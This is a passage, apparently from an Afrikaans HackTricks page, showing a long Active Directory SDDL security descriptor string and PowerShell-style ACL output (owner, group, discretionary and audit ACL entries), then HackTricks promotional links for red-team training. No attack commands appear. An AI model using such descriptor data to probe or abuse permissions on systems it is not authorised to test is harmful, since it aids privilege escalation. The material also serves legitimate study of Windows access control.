0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Eienaar : BUILTIN\Administrators
Groep : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
</details>